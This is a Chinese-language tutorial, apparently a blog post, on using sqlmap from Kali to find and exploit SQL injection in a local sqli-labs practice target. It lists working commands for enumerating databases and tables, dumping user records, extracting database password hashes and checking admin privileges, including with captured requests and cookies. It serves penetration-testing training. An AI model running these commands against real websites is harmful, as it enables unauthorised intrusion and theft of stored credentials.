目录
前言
sqlmap是一款强大的开源自动化SQL注入工具,主要用于检测和利用SQL注入漏洞,协助渗透测试人员快速发现和验证web应用程序中的SQL注入缺陷。
实际渗透测试中,只要kali机能够上网就可以直接使用sqlmap;这里我们在centos上搭建sqlibs靶场做靶机,kali机为攻击机。
然后将kali机的dns为服务机centos的dns,这样kali机就可以访问centos上的网站了。
sqlmap在kali中的使用
检测注入点
sqlmap -u 完整url //检测过程中需要手动输入y/n,即是否继续进行sql注入检测
sqlmap -u 完整url --batch //检测过程中默认继续进行sql注入检测
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --batch
可以看到一共扫到了四种类型的sql注入漏洞,以及漏洞使用方法:
产看所有数据库
sqlmap -u 完整url --dbs
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --dbs
查看当前网站使用的数据库
sqlmap -u 完整url --current-db
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --current-db
可以看到使用的数据库是security
产看数据表
sqlmap -u 完整url -D '数据库名' --tables
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' --tables
可以看到数据库security有四张表:emails、referers、uagents、users
查看字段
sqlmap -u 完整url -D '数据库名' -T '表名' --columns
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' -T 'users' --columns
可以看到users表有三个字段:id、password、username
查看字段数据
sqlmap -u 完整url -D '数据库名' -T '表名' --dump
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' -T 'users' --dump
可以看到users表的三个字段及其数据
查看数据库用户
sqlmap -u 完整url --current-user
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --current-user
查看所有用户
sqlmap -u 完整url --users
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --users
获取数据库用户密码
sqlmap -u 完整url --passwords
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --passwords
查看用户权限
sqlmap -u 完整url --privileges
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --privileges
判断当前数据库用户是否是管理员
sqlmap -u 完整url --is-dba
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --is-dba
判断结果为True,即当前数据库用户是管理员用户。
自动化扫描
将抓到的数据包右键copy to file,然后使用kali注入
sqlmap -r '数据包路径' --dbs --batch
批量自动化扫描
新建xxx.txt文件,里面存放多个url
sqlmap -m xxx.txt
post请求注入
将抓包抓到的http请求内容存放到.txt文件中
sqlmap -r xxx.txt
cookie注入
一些需要登录的网站在用sqlmap进行注入时,需要添加cookie参数:
sqlmap -u 完整curl --cookie 'cookie'(单引号和双引号都行)